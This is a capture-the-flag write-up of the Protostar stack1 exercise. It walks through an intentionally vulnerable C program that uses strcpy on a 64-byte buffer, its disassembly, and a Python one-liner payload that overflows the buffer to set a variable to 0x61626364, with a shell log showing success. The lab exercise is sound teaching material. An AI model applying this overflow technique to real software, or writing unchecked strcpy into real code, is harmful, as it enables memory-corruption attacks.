Protostar: stack1 write up

Source code: https://exploit.education/protostar/stack-one/

This challange is not really different from the previous challange.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
```

First the program create **buffer** variable which can contain 64 chars, get user's input and put into **argv[1]** then use **strcpy** function to copy all characters in **argv[1]** to **buffer** variable.

From the manual of **strcpy** function we know:

```
If the destination string of a strcpy() is not large enough, then
anything might happen.  Overflowing fixed-length  string  buffers
is  a  favorite  cracker technique for taking complete control of
the machine.  Any time a program reads or copies data into a buf-
fer,  the program first needs to check that there's enough space.
This may be unnecessary if you can show that overflow is impossi-
ble,  but be careful: programs can get changed over time, in ways
that may make the impossible possible.
```

This **strcpy** function doesn't check if the destination string is large enough or not, so if the destination string isn't large enough, the stack will be overflowed. We will still have to smash the stack. Let's check out the disassembly first:

```
Dump of assembler code for function main:
0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
---Type <return> to continue, or q <return> to quit---
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret
```

Again, the **modified** variable's address is **esp+0x5c**, user's input's address is at **esp+0x1c**. Distance between them is 64.

modified variable then will be compared with **0x61626364**, so we'll have to provide 64 random characters and 4 bytes with the value **0x61**, **0x62**, **0x63**, **0x64**. This is **little endian** so these 4 bytes should be reversed to make things right:

0x64 0x63 0x62 0x61

We then use this python command: *python -c 'print("A"*64)+"\x64\x63\x62\x61"'*

To get the right input for exploiting the program:
**AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAdcba**

And guess what?

```
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value
```

Yep. I'm in.